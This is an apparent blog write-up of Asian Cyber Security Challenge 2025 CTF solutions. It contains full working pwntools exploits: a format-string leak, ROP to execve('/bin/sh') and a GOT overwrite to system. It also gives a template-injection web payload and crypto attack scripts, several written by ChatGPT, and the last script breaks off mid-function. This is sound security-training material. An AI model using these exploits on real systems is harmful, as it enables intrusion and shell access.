Unicorn's Blog

Asian Cyber Security Challenge 2025

16 Aug 2025


The following four problems I solved it all by myself without any help of AI, the write-up will be focusing on how I discover the vulnerabilities and eventually using it to get the flag.

Please Discover my Discovery key

The provided file is just a bunch of data.

$ file stm32f4-discovery.bin 
stm32f4-discovery.bin: data

Using strings command there are two suspicious base64 encoded strings.

$ strings stm32f4-discovery.bin
...
ppQAwdKeyskeys@=
c3RtMzJmNC1kaXNjb3Zlcnk=
doyouwantrealkey
0x001001
d2VsY29tZXRvc3RtMzIhISE=

Decode the second string and there is the flag!

$ echo c3RtMzJmNC1kaXNjb3Zlcnk= | base64 -d
stm32f4-discovery
$ echo d2VsY29tZXRvc3RtMzIhISE= | base64 -d
welcometostm32!!!

Flag: acsc{welcometostm32!!!}

smart_device

The provided smart_firmware.img file is actually a gzip compressed data.

$ file smart_firmware.img
smart_firmware.img: gzip compressed data, from Unix, original size modulo 2^32 20480

After decompressed the file, it becomes a tar archive.

$ mv smart_firmware.img smart_firmware.gz && gunzip smart_firmware.gz
$ file smart_firmware
smart_firmware: POSIX tar archive (GNU)

When decompressing the tar archive, it show several interesting files.

$ tar xvf smart_firmware 
./
./bin/
./bin/check_status
./etc/
./etc/device.conf
./etc/init.d/
./etc/init.d/rcS
./etc/passwd
./root/
./sbin/
./tmp/
./usr/
./usr/bin/
./var/
./var/log/
./var/log/messages

The flag can be seen from AUTH_KEY in etc/device.conf.

$ cat etc/device.conf 
# ACSC Smart Device Configuration File
# Do not edit manually.

[SYSTEM]
DEVICE_MODEL=ACSC-V2
FIRMWARE_VER=1.0.3

[NETWORK]
DHCP_ENABLED=true

[SECURITY]
# Unique device key for API authentication
AUTH_KEY="acsc{binwalkisgod!}"

Flag: acsc{binwalkisgod!}

byte_challenge

Analyze

Beside stack canary, all other protection are enabled.

$ checksec deploy/prob 
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

After reversing the binary, the program runs in the following order:

  1. Prompts the user to input name.
  2. Change the user choice memory permission to 7 (rwx).
  3. User modify any 1 byte and runs stage 1 check.
  4. User modify any 1 byte and runs stage 2 check.
  5. User modify any 1 byte and runs stage 3 check.
  6. User modify any 1 byte and runs stage 4.

Leak Address

In step 1, the programs straight out uses printf to print user input without format, hence causing a format string vulnerability. After analyzing the stack at printf, %13$p %21$p can leak address of binary_base + 0x12cd and libc_base + 0x29d90 respectively. Then in step 2 the binary_base can be used to change the whole binary into rwx.

// 0x13da
int64_t get_name()
{
    puts("What`s your name?");
    fflush(stdout);
    void var_48;
    read(0, &var_48, 0x3f);
    return printf(&var_48);
}

Stage 1

Since the program is now writable, simply patch the equals condition to not equals to bypass the check, which is patching binary_base + 0x149f from je (0x74) to jne (0x75).

// 0x1474
int64_t stage_1()
{
    puts("[*] Stage 1");
    if (sub_142e(&data_4010) == 0x78843a19)
        return puts("Stage 1 OK!");
    puts("Stage 1 FAIL");
    exit(1);
}

Stage 2

Similarly to stage 1, patch binary_base + 0x152d from jne (0x75) to je (0x74) to jump to another block of code that otherwise will be unreachable.

; 0x150f
int64_t stage_2()

endbr64 
push    rbp {__saved_rbp}
mov     rbp, rsp {__saved_rbp}
lea     rax, [rel data_20b2]
mov     rdi, rax  {data_20b2, "[*] Stage 2"}
call    puts
call    sub_14cc
test    eax, eax
jne     0x1548  {0x0}

lea     rax, [rel data_20be]
mov     rdi, rax  {data_20be, "Stage 2 FAIL"}
call    puts
mov     edi, 0x1
call    exit
{ Does not return }

lea     rax, [rel data_20cb]
mov     rdi, rax  {data_20cb, "Stage 2 OK!"}
call    puts
nop     
pop     rbp {__saved_rbp}
retn     {__return_addr}

Stage 3

Same as stage 1, patch the condition to bypass the check, which is binary_base + 0x15e0 from je (0x74) to jne (0x75).

// 0x155a
int64_t stage_3()
{
    puts("[*] Stage 3");
    char var_9 = 0x5a;
    int64_t var_18 = 0;
    while (*(uint8_t*)(var_18 + &data_4018))
    {
        *(uint8_t*)(var_18 + &data_4018) ^= var_9;
        var_9 += 0x13;
        var_18 += 1;
    }
    if (!strcmp(&data_4018, "Stage 3 OK!\n"))
        return puts("Stage 3 OK!");
    puts("Stage 3 FAIL");
    exit(1);
}

Stage 4

Stage 4 only reads an user input then return, no checks exist. However, the read size can be modified by patching binary_base + 0x162d from 0x40 to 0xff, causing buffer overflow.

ssize_t stage_4()
{
    puts("[*] Stage 4");
    void buf;
    return read(0, &buf, 0x40);
}

Get Shell

Since no win function exist, also it is hard to find a memory to write shell code and jump to due to lack of input from the program, I choose to use ROP, more specific, one gadget from libc.

The best gadget here is at 0xebc85, rbp can be control with buffer overflow, r10 is already 0x0, and rdx can be zero out with another gadget in libc, 0xa8558 : xor edx, edx ; mov eax, edx ; ret.

$ one_gadget libc.so.6
...
0xebc85 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
...

Solve Script

from pwn import *

io = process("prob")
gdb.attach(io)
# io = remote("host3.dreamhack.games", 23046)

# leak base address
io.sendlineafter(b"What`s your name?\n", b"%13$p %21$p")
line = io.recvline().split(b' ')
base = int(line[0], 16) - 0x12cd
libc = int(line[1], 16) - 0x29d90
log.success(f"prob base = {hex(base)}")
log.success(f"libc base = {hex(libc)}")

# rwx whole program
io.sendlineafter(b"Enter Address: ", f"{base:x} 0x5000".encode())

# stage 1
# patch 0x149f from je (0x74) to jne (0x75)
io.sendlineafter(b"change only 1 byte (idx): ", str(0x149f).encode())
io.sendlineafter(b"change to (val): ", str(0x75).encode())
io.recvuntil(b"Stage 1 OK!")
log.success("Stage 1 OK!")

# stage 2
# patch 0x152d from jne (0x75) to je (0x74)
io.sendlineafter(b"change only 1 byte (idx): ", str(0x152d).encode())
io.sendlineafter(b"change to (val): ", str(0x74).encode())
io.recvuntil(b"Stage 2 OK!")
log.success("Stage 2 OK!")

# stage 3
# patch 0x15e0 from je (0x74) to jne (0x75)
io.sendlineafter(b"change only 1 byte (idx): ", str(0x15e0).encode())
io.sendlineafter(b"change to (val): ", str(0x75).encode())
io.recvuntil(b"Stage 3 OK!")
log.success("Stage 3 OK!")

# stage 4
# patch read size (0x162d) from 0x40 to 0xff
io.sendlineafter(b"change only 1 byte (idx): ", str(0x162d).encode())
io.sendlineafter(b"change to (val): ", str(0xff).encode())
payload = b"".join([
    b"a" * 64,
    p64(base + 0x4010 + 0x78), # address rbp-0x78 is writable
    p64(base + 0x14cb),
    p64(libc + 0x00000000000a8558), # 0x00000000000a8558 : xor edx, edx ; mov eax, edx ; ret
    p64(libc + 0xebc85) # 0xebc85 execve("/bin/sh", r10, rdx)
])
io.sendline(payload)

io.interactive()

Flag: acsc{a94a8fe5ccb19ba61c4c0873d391e987982fbbd3}

book_manager

Analyze

After analyzing the provided binary, the programs is a standard heap problem with create book, edit book, print book, and delete book.

The vulnerability here is negative index, the program doesn’t check if the index is larger than 0 or not when editing and printing, therefore giving arbitrary read/write for any memory before heap.

// 0x40191d
int64_t edit_book_info()
{
    ...
    printf("Which Info?: ");
    int32_t info_id;
    __isoc99_scanf("%d", &info_id);
    printf("Your Data: ");
    
    if (info_id > 4)
        return puts("Invalid Option!");
    
    if (info_id > 2)
        return __isoc99_scanf("%s", *(*((var_c << 3) + &book_ptrs) + (info_id << 3) - 8));
    
    return __isoc99_scanf("%lld", *((var_c << 3) + &book_ptrs) + (info_id << 3) - 8);
}
// 0x4016c2
int64_t print_book_info()
{
    ...
    printf("Which Info?: ");
    int32_t info_id;
    __isoc99_scanf("%d", &info_id);
    
    if (info_id > 4)
        return puts("Invalid Option!");
    
    if (!info_id)
        return print_book_info(book_id);
    
    if (info_id > 2)
        return puts(*(*((book_id << 3) + &book_ptrs) + (info_id << 3) - 8));
    
    return printf("%lld\n", *(*((book_id << 3) + &book_ptrs) + (info_id << 3) - 8));
}

Leak Heap Address

After registering two books, the heap will looks like

+0x00 +0x08
+0x000 heap metadata of book0
+0x010 book0 No. book0 Price
+0x020 ptr to book0 Author ptr to book0 Title
+0x030 heap metadata of book0 Author
+0x040 book0 Author
+0x050
+0x060
+0x070 heap metadata of book0 Title
+0x080 book0 Title
+0x090
+0x0a0
+0x0b0 heap metadata of book1
+0x0c0 book1 No. book1 Price
+0x0d0 ptr to book1 Author ptr to book1 Title
+0x0e0 heap metadata of book1 Author
+0x0f0 book1 Author
+0x100
+0x110
+0x120 heap metadata of book1 Title
+0x130 book1 Title
+0x140
+0x150

So when printing out -19 info on book1, it shows the address of book0 Author.

Leak libc Address

After retrieving the address of heap, it can be used to calculate the index needed to leak libc base, which can be calculated from the got table entry, which will be (0x404020 - (author0 - 0x30) + 8) // 8.

Get shell

Since the got table is writable, the same index can be used to overwrite the got table entry of free to system, then when deleting the book it will trigger free(author0), simply set author0 as /bin/sh to get shell.

int64_t remove_book()
{
    printf("Book Index: ");
    int32_t var_c;
    __isoc99_scanf("%d", &var_c);
    
    if (var_c < 0 || var_c > 0xa || !*((var_c << 3) + &book_ptrs))
        return puts("Invalid Index!");
    
    free(*(*((var_c << 3) + &book_ptrs) + 0x18));
    free(*(*((var_c << 3) + &book_ptrs) + 0x10));
    free(*((var_c << 3) + &book_ptrs));
    *((var_c << 3) + &book_ptrs) = 0;
    return puts("Remove Success!");
}

Solve Script

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]

# io = process("/home/pwn/prob")
# gdb.attach(io, gdbscript = "b *0x401a31")
io = remote("host1.dreamhack.games", 14835)

io.sendafter(b"What's your name?: ", b"name")

def register_book(no, price, author, title):
    io.sendlineafter(b"Select Menu: ", b"1")
    io.sendlineafter(b"Book No.: ", str(no).encode())
    io.sendlineafter(b"Book Price: ", str(price).encode())
    io.sendlineafter(b"Book Author: ", author.encode())
    io.sendlineafter(b"Book Title: ", title.encode())

def book_info(id, info):
    io.sendlineafter(b"Select Menu: ", b"2")
    io.sendlineafter(b"Book Index: ", str(id).encode())
    io.sendlineafter(b"Which Info?: ", str(info).encode())

def delete_book(id):
    io.sendlineafter(b"Select Menu: ", b"3")
    io.sendlineafter(b"Book Index: ", str(id).encode())

def edit_book(id, info, data):
    io.sendlineafter(b"Select Menu: ", b"4")
    io.sendlineafter(b"Book Index: ", str(id).encode())
    io.sendlineafter(b"Which Info?: ", str(info).encode())
    io.sendlineafter(b"Your Data: ", data)

register_book(0, 0, "/bin/sh", "/bin/sh")
register_book(1, 1, "author1", "title1")

# leak author0 heap address
book_info(1, -19)
author0 = int(io.recvline())
log.success(f"chunk of author0: {hex(author0)}")

# leak libc
book_info(0, (0x404020 - (author0 - 0x30) + 8) // 8)
libc = int(io.recvline()) - 0x84420
log.success(f"libc base: {hex(libc)}")

# change free got to system
edit_book(0, (0x404018 - (author0 - 0x30) + 8) // 8, str(libc + 0x52290).encode())

# trigger free (system)
delete_book(0)

io.interactive()

Flag: acsc{n0bq5p9zmxvyul3w4ka2r1etfdcoh876}


For the next challenge, I solved it with the assistant of ChatGPT, the write-up will be focusing on how I find the possible vulnerable code and implementing the solve script of ChatGPT’s idea.

FreeMarket

The challenge provides a free-market-1.0.0.jar as the source, after opening it with jd-gui, notice that the main codes are under BOOT-INT/classes/com.acsc2025. With both simple dynamic and static analysis, the web app has two currency money and points, however, under normal operation either of them isn’t enough to buy a flag, combined the hint “free” given in the title, it is obvious that the goal is to find a way to get infinite money. Since I am lazy busy pwning, I kindly ask ChatGPT to analyze the /purchase function under ShopController.class and GiftController.class.

點數先加、再結帳,而且用點數不會被扣
Increase points first, then purchase, and the points won’t be decreased
- ChatGPT

After some testing, when using points to buy items, the points can be increased beyond the normal 100000 limit, therefore giving enough points to buy the flag. Next, in the /gift page, ChatGPT says using message=${present.flag} can leak the flag, and it does works miraculously (I didn’t give it the source code of Present.class and gift.ftl). Hence using the following script solves the challenge.

import requests

HOST = "host1.dreamhack.games"
PORT = 12431
url = "http://" + HOST + ":" + str(PORT)

# set cookie
r = requests.get(url)
session_id = r.headers['Set-Cookie'].split('=')[1].split(';')[0]

# show Points and Balance
def get_info():
    r = requests.get(url, cookies = {"JSESSIONID": session_id})
    line = r.content.split(b'\n')[13].strip().split(b'|')
    print(f"Points: {int(line[0].split(b':')[1].replace(b',', b''))}")
    print(f"Balance: {int(line[1].split(b':')[1][4:].replace(b',', b''))}")

# buy item
def purchase(id, points):
    if points is None:
        requests.get(url + f"/purchase?id={id}", cookies = {"JSESSIONID": session_id})
    else:
        requests.get(url + f"/purchase?id={id}&_={points}", cookies = {"JSESSIONID": session_id})

# get points
get_info()
purchase(1, None)
get_info()
purchase(1, None)
get_info()
# get extra points
purchase(1, 1)
get_info()
# buy flag
purchase(6, None)
# get flag
r = requests.post(
    url + "/gift",
    data = {"message": "${present.flag}"}, cookies = {"JSESSIONID": session_id}
)
print(r.content)

Full chat history: https://chatgpt.com/share/68a04432-9324-8008-9bc8-c21bd54943b9

Flag: acsc{I_c4m3_h3re_t0_dr0p_s0nn3_p01nt!}


The last six challenges I solve it entirely with ChatGPT, which means basically I just pastes the challenge into it and starts forcing it uses prompt engineering to solve it. The write-up will be focusing on how I evaluate its solve scripts and instruct it to do modifications that leads to the solution.

Pretty Good Privacy

I pastes the provided problem description, since no other information is given and using q = nextPrime(p) as RSA key is a huge hint, along with enc.asc and pub.asc into ChatGPT. Next, it solves the problem within minutes, the solve script is as the follows.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CTF PGP-RSA quick solver
- Exploits q = nextPrime(p) → Fermat factorization
- Extracts session key from PKESK
- Decrypts message with GnuPG --override-session-key (if available)

Usage:
    python solve_pgprsa.py pub.asc enc.asc
"""

import sys
import base64
import math
import shutil
import subprocess
from typing import Tuple, List

# -----------------------------
# Helpers: ASCII Armor → bytes
# -----------------------------
def decode_armor(asc: str) -> bytes:
    lines = [ln.strip() for ln in asc.strip().splitlines()]
    in_body = False
    b64_lines = []
    for ln in lines:
        if ln.startswith("-----BEGIN"):
            in_body = True
            continue
        if ln.startswith("-----END"):
            break
        if not in_body:
            continue
        if not ln or ":" in ln:    # header lines or blanks
            continue
        if ln.startswith("=") and len(ln) <= 5:  # CRC24 line; ignore
            continue
        b64_lines.append(ln)
    return base64.b64decode("".join(b64_lines))

def read_file_or_armored(path: str) -> bytes:
    with open(path, "r", encoding="utf-8") as f:
        txt = f.read()
    return decode_armor(txt)

# -----------------------------
# Helpers: PGP packet parsing
#   (new-format header; partial lengths supported)
# -----------------------------
def parse_new_packet(data: bytes, offset: int) -> Tuple[int, bytes, int]:
    if offset >= len(data):
        raise ValueError("Offset beyond data")
    hdr = data[offset]
    assert hdr & 0x80, "Not a PGP packet"
    assert hdr & 0x40, "Old-format packet not supported here"
    tag = hdr & 0x3F
    offset += 1

    body = bytearray()
    while True:
        if offset >= len(data):
            raise ValueError("Truncated PGP length")
        l1 = data[offset]; offset += 1
        if l1 < 192:
            L = l1
            body += data[offset:offset+L]; offset += L
            break
        elif 192 <= l1 <= 223:
            if offset >= len(data): raise ValueError("Truncated two-octet length")
            l2 = data[offset]; offset += 1
            L = ((l1 - 192) << 8) + l2 + 192
            body += data[offset:offset+L]; offset += L
            break
        elif l1 == 255:
            if offset + 4 > len(data): raise ValueError("Truncated five-octet length")
            L = int.from_bytes(data[offset:offset+4], "big")
            offset += 4
            body += data[offset:offset+L]; offset += L
            break
        else:
            # partial body length: 224..254 → chunk = 1 << (l1 & 0x1F)
            L = 1 << (l1 & 0x1F)
            body += data[offset:offset+L]; offset += L
            # continue until a definite length terminates the packet
            continue

    return tag, bytes(body), offset

def parse_packets(data: bytes) -> List[Tuple[int, bytes]]:
    pkts = []
    off = 0
    while off < len(data):
        tag, body, off = parse_new_packet(data, off)
        pkts.append((tag, body))
    return pkts

# -----------------------------
# Helpers: MPI
# -----------------------------
def read_mpi(b: bytes, offset: int) -> Tuple[int, int]:
    if offset + 2 > len(b): raise ValueError("Truncated MPI")
    bitlen = int.from_bytes(b[offset:offset+2], "big")
    offset += 2
    bytelen = (bitlen + 7) // 8
    if offset + bytelen > len(b): raise ValueError("Truncated MPI payload")
    val = int.from_bytes(b[offset:offset+bytelen], "big")
    return val, offset + bytelen

# -----------------------------
# Step 1: parse pubkey → n,e
# -----------------------------
def parse_rsa_pub_from_pubasc(pub_bytes: bytes) -> Tuple[int, int]:
    pkts = parse_packets(pub_bytes)
    # First packet should be Tag 6: Public-Key
    tag6, body = pkts[0]
    assert tag6 == 6, "First packet is not Public-Key packet (tag 6)"
    ver = body[0]; assert ver == 4, "Unexpected public-key version"
    # body layout: [1]ver [4]ctime [1]algo [MPI]n [MPI]e
    algo = body[5]; assert algo == 1, "Not RSA pubkey"
    n, off = read_mpi(body, 6)
    e, off = read_mpi(body, off)
    return n, e

# -----------------------------
# Step 2: Fermat factorization
# -----------------------------
def fermat_factor(n: int) -> Tuple[int, int]:
    a = math.isqrt(n)
    if a * a < n:
        a += 1
    while True:
        b2 = a*a - n
        b = math.isqrt(b2)
        if b*b == b2:
            p = a - b
            q = a + b
            return (int(p), int(q))
        a += 1

# -----------------------------
# Step 3: parse enc.asc → PKESK, decrypt RSA to get session key
# -----------------------------
def parse_pkesk_and_cipher(enc_bytes: bytes) -> Tuple[bytes, bytes]:
    pkts = parse_packets(enc_bytes)
    # Expect [Tag1: PKESK], [Tag18: SEIPD]
    t1, pkesk = pkts[0]
    t18, seipd = pkts[1]
    assert t1 == 1, "First packet not PKESK (tag 1)"
    assert t18 == 18, "Second packet not SEIPD (tag 18)"
    return pkesk, seipd

def rsa_decrypt_pkesk_get_session_key(pkesk: bytes, d: int, n: int) -> Tuple[int, bytes]:
    # PKESK v3: [1]ver=3 [8]keyid [1]algo(1=RSA) [MPI]C
    assert pkesk[0] == 3, "Unsupported PKESK version (expect v3)"
    pubalgo = pkesk[9]; assert pubalgo == 1, "Not RSA-encrypted session key"
    C, _ = read_mpi(pkesk, 10)

    k = (n.bit_length() + 7) // 8
    m_int = pow(C, d, n)
    em = m_int.to_bytes(k, "big")
    # PKCS#1 v1.5: 0x00 0x02 [ps..nonzero..] 0x00 [1]sym_algo [key] [2]cksum
    assert em[0:2] == b"\x00\x02", "Bad PKCS#1 padding"
    sep = em.find(b"\x00", 2)
    assert sep > 0, "No 0x00 separator in PKCS#1 block"

    sym_algo = em[sep+1]
    sess_plus = em[sep+2:]
    if sym_algo == 9:   # AES-256
        keylen = 32
    elif sym_algo == 8: # AES-128
        keylen = 16
    elif sym_algo == 7: # AES-192
        keylen = 24
    else:
        raise ValueError(f"Unsupported symmetric algo id {sym_algo}")

    assert len(sess_plus) >= keylen + 2, "Session key payload too short"
    key = sess_plus[:keylen]
    cksum = int.from_bytes(sess_plus[keylen:keylen+2], "big")
    if (sum(key) % 65536) != cksum:
        raise ValueError("Bad session key checksum")

    return sym_algo, key

# -----------------------------
# Step 4: decrypt whole message with GPG (override-session-key)
# -----------------------------
def gpg_decrypt_with_session(enc_bytes: bytes, algo_id: int, key: bytes) -> bytes:
    exe = shutil.which("gpg") or shutil.which("gpg.exe")
    if not exe:
        return b""
    cmd = [exe, "--batch", "--yes", "--decrypt",
           "--override-session-key", f"{algo_id}:{key.hex()}"]
    p = subprocess.run(cmd, input=enc_bytes, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    if p.returncode != 0:
        # Return stderr so user can see what happened
        return b"[gpg error]\n" + p.stderr
    return p.stdout

# -----------------------------
# Main
# -----------------------------
def main():
    if len(sys.argv) != 3:
        print("Usage: python solve_pgprsa.py pub.asc enc.asc")
        sys.exit(1)

    pub_bytes = read_file_or_armored(sys.argv[1])
    enc_bytes = read_file_or_armored(sys.argv[2])

    # 1) parse RSA public key
    n, e = parse_rsa_pub_from_pubasc(pub_bytes)
    print(f"[+] e = {e}")
    print(f"[+] n bits = {n.bit_length()}")

    # 2) Fermat factorization
    p, q = fermat_factor(n)
    if p > q:
        p, q = q, p
    print(f"[+] p = {p}")
    print(f"[+] q = {q}")
    print(f"[+] q - p = {q - p}")

    # 3) private exponent
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    print(f"[+] d computed")

    # 4) parse PKESK & extract session key
    pkesk, seipd = parse_pkesk_and_cipher(enc_bytes)
    algo_id, sess_key = rsa_decrypt_pkesk_get_session_key(pkesk, d, n)
    print(f"[+] Symmetric algo id = {algo_id} (9 = AES-256)")
    print(f"[+] Session key (hex) = {sess_key.hex()}")

    # 5) try GPG to decrypt everything
    plaintext = gpg_decrypt_with_session(enc_bytes, algo_id, sess_key)
    if plaintext:
        print("\n[+] Decrypted plaintext:")
        try:
            print(plaintext.decode("utf-8"))
        except UnicodeDecodeError:
            print(plaintext)
    else:
        print("\n[!] gpg not found on PATH.")
        print("\tInstall GnuPG, then run:")
        print(f"\tgpg --batch --yes --decrypt --override-session-key {algo_id}:{sess_key.hex()} enc.asc")

if __name__ == "__main__":
    main()
$ python solve.py pub.asc enc.asc 
[+] e = 65537
[+] n bits = 1023
[+] p = 8864232758513159703894059401865610546024920396843264690204008679925886187595802637186841391387878400972316394349580079216245335878969631424028047238814217
[+] q = 8864232758513159703894059401865610546024920396843264690204008679925886187595802637186841391387878400972316394349580079216245335878969631424028047238815239
[+] q - p = 1022
[+] d computed
[+] Symmetric algo id = 9 (9 = AES-256)
[+] Session key (hex) = d589f45347a0134971a3b6371e29edc735661dec35ecd612d358355f3f84f0ee

[+] Decrypted plaintext:
acsc{RSA is fine, unless you implement it badly}

Full chat history: https://chatgpt.com/share/689ffa55-ed60-8008-afa6-06d75f07e558

Flag: acsc{RSA is fine, unless you implement it badly}

Synchronized Silence

After giving ChatGPT prob.py, it quickly notice it is a Tree Parity Machine (TPM) and gives solve script using geometric attack, however the script didn’t work. I find that the script uses a random seed to set the initial weights, which does effect the result verified by testing different seed. I ask ChatGPT to solve without using a random seed or initialize the weights as 0 (the change it make in second iteration), the new solve script successfully solves the challenge.

import json, re, sys, os
import numpy as np
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# ------------ challenge-consistent primitives ------------
def tpm_output(w, x):
    local = np.einsum('ij,ij->i', w, x)   # (K,)
    sig = np.sign(local).astype(int)
    sig[sig == 0] = 1                     # 0 -> +1 per challenge
    tau = int(np.prod(sig))
    return tau, sig, local

def hebbian_update(w, x, sig, tau, L):
    # update only units with sig[i] == tau, then clip each coord to [-L, L]
    upd_mask = (sig == tau)
    w[upd_mask] = np.clip(w[upd_mask] + x[upd_mask], -L, L)
    return w

def get_key_from_w(w, L):
    bits = ''.join(f'{(int(v)+L):03b}' for v in w.flatten())
    key_bytes = int(bits, 2).to_bytes((len(bits)+7)//8, 'big')
    return hashlib.sha256(key_bytes).digest()[:16]

def try_decrypt_and_check_key(key, ct_bytes):
    # Try AES-ECB, expect PKCS#7 and a flag-like plaintext
    pt = AES.new(key, AES.MODE_ECB).decrypt(ct_bytes)
    try:
        pt = unpad(pt, 16)
    except ValueError:
        return None  # invalid padding -> reject
    # Heuristics for CTF flags (adjust as needed for your event)
    txt_ok = all(9 <= b <= 10 or b == 13 or (32 <= b <= 126) for b in pt)
    s = None
    if txt_ok:
        s = pt.decode('utf-8', errors='ignore')
        flagy = re.search(r'(?i)(?:flag|ctf|acsc)\{[^}]{0,200}\}', s)
        if flagy:
            return s  # looks like a flag
        # Fall-back: accept any clean ASCII line (you can tighten this)
        if len(s) <= 256 and '{' in s and '}' in s:
            return s
    return None

# ------------ attacks ------------
def geometric_attack(log, L=3, init="zero", rng=None):
    """One listener with flipping smallest |local| when tau mismatch."""
    x0 = np.array(log[0]["x"], dtype=int)
    K, N = x0.shape
    if init == "zero":
        w = np.zeros((K, N), dtype=int)
    elif init == "random":
        assert rng is not None
        w = rng.integers(-L, L+1, size=(K, N), dtype=int)
    else:
        raise ValueError("init must be 'zero' or 'random'")

    for entry in log:
        x = np.array(entry["x"], dtype=int)
        tau_obs = int(entry["tau"])
        tau_e, sig_e, local = tpm_output(w, x)
        if tau_e != tau_obs:
            i_flip = int(np.argmin(np.abs(local)))
            sig_e[i_flip] *= -1  # fix product with minimal change
        w = hebbian_update(w, x, sig_e, tau_obs, L)
    return w

def majority_flipping_attack(log, L=3, crowd=21, seeds=None):
    """
    Majority attack: keep a crowd of listeners, majority-vote each hidden unit's sign,
    then perform a single Hebbian update on a master w using the voted signs.
    Deterministic if 'seeds' is a list of ints you compute from log (see below).
    """
    x0 = np.array(log[0]["x"], dtype=int)
    K, N = x0.shape
    # init crowd
    listeners = []
    for idx in range(crowd):
        rng = np.random.default_rng(seeds[idx] if seeds is not None else idx)
        w = rng.integers(-L, L+1, size=(K, N), dtype=int)
        listeners.append(w)
    # master starts at 0 to avoid bias; could also average, but 0 is fine
    master = np.zeros((K, N), dtype=int)

    for entry in log:
        x = np.array(entry["x"], dtype=int)
        tau_obs = int(entry["tau"])
        # each listener proposes sig
        sigs = []
        locals_list = []
        for w in listeners:
            _, sig, local = tpm_output(w, x)
            sigs.append(sig)
            locals_list.append(np.abs(local))
        sigs = np.stack(sigs, axis=0)           # (crowd, K)
        locals_abs = np.stack(locals_list, 0)   # (crowd, K)

        # majority per hidden unit
        vote = np.sign(np.sum(sigs, axis=0)).astype(int)
        vote[vote == 0] = 1  # tie -> +1
        # ensure product matches tau_obs; if not, flip the unit with smallest avg |local|
        if int(np.prod(vote)) != tau_obs:
            flip_idx = int(np.argmin(np.mean(locals_abs, axis=0)))
            vote[flip_idx] *= -1

        # update master with voted signs
        master = hebbian_update(master, x, vote, tau_obs, L)
        # also update each listener with its own sig to keep them informative
        for i, w in enumerate(listeners):
            _, sig_i, _ = tpm_output(w, x)
            # if its product mismatches tau_obs, flip the listener's least-confident unit
            if int(np.prod(sig_i)) != tau_obs:
                # compute local again (avoid recompute eps)
                local_i = np.einsum('ij,ij->i', w, x)
                j = int(np.argmin(np.abs(local_i)))
                sig_i[j] *= -1
            listeners[i] = hebbian_update(w, x, sig_i, tau_obs, L)

    return master

# ------------ solver wrapper ------------
def solve_from_log_and_ct(log_path="log.json", ct_path="enc_flag.txt", L=3,
                          max_random_tries=200, crowd=21):
    with open(log_path, "r") as f:
        log = json.load(f)
    with open(ct_path, "rb") as f:
        ct = f.read()

    # 1) deterministic: zero-init geometric attack
    w = geometric_attack(log, L=L, init="zero", rng=None)
    key = get_key_from_w(w, L)
    pt = try_decrypt_and_check_key(key, ct)
    if pt is not None:
        return key, pt

    # 2) sweep multiple random inits (NO assumption: we verify each)
    #    seeds chosen deterministically from log -> reproducible & seed-free externally
    #    derive a base seed from the log so the whole process is fully determined by inputs
    log_bytes = json.dumps(log, separators=(",", ":")).encode()
    seed_base = int.from_bytes(hashlib.sha256(log_bytes).digest()[:8], "big")
    for t in range(max_random_tries):
        rng = np.random.default_rng(seed_base + t)
        w = geometric_attack(log, L=L, init="random", rng=rng)
        key = get_key_from_w(w, L)
        pt = try_decrypt_and_check_key(key, ct)
        if pt is not None:
            return key, pt

    # 3) majority flipping (ensemble), using deterministic seeds from the log
    seeds = [seed_base + 10_000 + i for i in range(crowd)]
    w = majority_flipping_attack(log, L=L, crowd=crowd, seeds=seeds)
    key = get_key_from_w(w, L)
    pt = try_decrypt_and_check_key(key, ct)
    if pt is not None:
        return key, pt

    return None, None

if __name__ == "__main__":
    log_path = sys.argv[1] if len(sys.argv) > 1 else "log.json"
    ct_path  = sys.argv[2] if len(sys.argv) > 2 else "enc_flag.txt"
    L = int(os.getenv("TPM_L", "3"))  # default per challenge
    key, pt = solve_from_log_and_ct(log_path, ct_path, L=L,
                                    max_random_tries=int(os.getenv("TPM_TRIES", "200")),
                                    crowd=int(os.getenv("TPM_CROWD", "21")))
    if key is None:
        print("[-] Failed to recover a key that decrypts to a plausible flag. Increase TPM_TRIES/TPM_CROWD.")
        sys.exit(2)
    print(f"[+] Recovered AES-128 key: {key.hex()}")
    print(f"[+] Decrypted plaintext:\n{pt}")
$ python solve.py         
[+] Recovered AES-128 key: cb51de5b32d7428a938d6f08f9656c41
[+] Decrypted plaintext:
acsc{synchr0n1z3d_bu7_n07_s1l3n7_4nym0r3}

Full chat history: https://chatgpt.com/share/68a00291-ff9c-8008-8818-5f7f013e8dc3

Flag: acsc{synchr0n1z3d_bu7_n07_s1l3n7_4nym0r3}

Safety Number

Giving ChatGPT chall.py, it mentions sending a low-order X25519 key during MITM causing secret to be 0 for both side to pass he check, since the first and many later scripts didn’t solve, I notice the output of solve script keep saying “Server may have extra checks”, I remind it that the server has the same exact chall.py without modification, ChatGPT finaly gives me the correct solve script.

#!/usr/bin/env python3
from pwn import remote, context
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import re, sys

context.log_level = "error"

# Curve25519 prime p = 2^255 - 19
P = (1 << 255) - 19
UPPER_OK = P - 1  # server upper bound is strictly less than this

def i2le32(x: int) -> bytes:
    return int(x).to_bytes(32, "little")

def recv_until_prefix(r, prefix: str):
    while True:
        line = r.recvline().decode(errors="ignore")
        if not line:
            return None
        if line.startswith(prefix):
            return line.strip()

def decrypt_zero_key(hex_blob: str) -> str:
    blob = bytes.fromhex(hex_blob.strip())
    iv, ct = blob[:16], blob[16:]
    key = b"\x00" * 32
    pt = AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
    return unpad(pt, 16).decode("utf-8", errors="ignore")

def try_with_pk(host, port, mitm_le: bytes):
    r = remote(host, int(port))

    # A: read line, answer MITM with our low-order key
    if recv_until_prefix(r, "Public Key of A:") is None:
        r.close(); return None
    r.recvuntil(b"MITM? [y/n] >>> "); r.sendline(b"y")
    r.recvuntil(b"MITM'd Public Key >>> "); r.sendline(mitm_le.hex().encode())

    # B: same
    if recv_until_prefix(r, "Public Key of B:") is None:
        r.close(); return None
